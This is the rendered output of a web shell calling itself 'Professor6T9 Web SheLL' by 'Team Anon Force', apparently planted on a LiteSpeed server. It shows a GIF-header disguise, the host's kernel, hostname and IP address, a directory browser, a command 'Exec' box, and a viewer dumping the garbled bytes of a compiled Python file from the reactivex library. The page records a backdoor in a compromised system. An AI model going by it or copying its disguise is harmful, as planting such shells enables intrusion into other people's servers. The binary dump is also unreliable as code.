GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
reactivex
/
observable
/
__pycache__
[ HOME ]
Exec
Submit
File Name : fromiterable.cpython-38.pyc
U ܒit � @ sx d dl mZmZmZmZ d dlmZmZ d dlm Z m Z d dlmZ ed�Z d ee eej ee d�dd �Zd gZdS )� )�Any�Iterable�Optional�TypeVar)� Observable�abc)�CompositeDisposable� Disposable)�CurrentThreadScheduler�_TN)�iterable� scheduler�returnc s0 dt jt tt j t jd�� �fdd� }t|�S )aJ Converts an iterable to an observable sequence. Example: >>> from_iterable([1,2,3]) Args: iterable: A Python iterable scheduler: An optional scheduler to schedule the values on. Returns: The observable sequence whose elements are pulled from the given iterable sequence. N)�observer� scheduler_r c sd �p|pt �� }t���d� dtjtd d�� ��fdd� }d d�� fdd�}t|�}t|�|�|�S ) NF)�_�__r c sh z� st ��}��|� qW nF tk r8 ��� Y n, tk rb } z��|� W 5 d }~X Y nX d S )N)�nextZon_next� StopIterationZon_completed� ExceptionZon_error)r r �value�error��disposed�iteratorr � �R/opt/alt/python38/lib/python3.8/site-packages/reactivex/observable/fromiterable.py�action"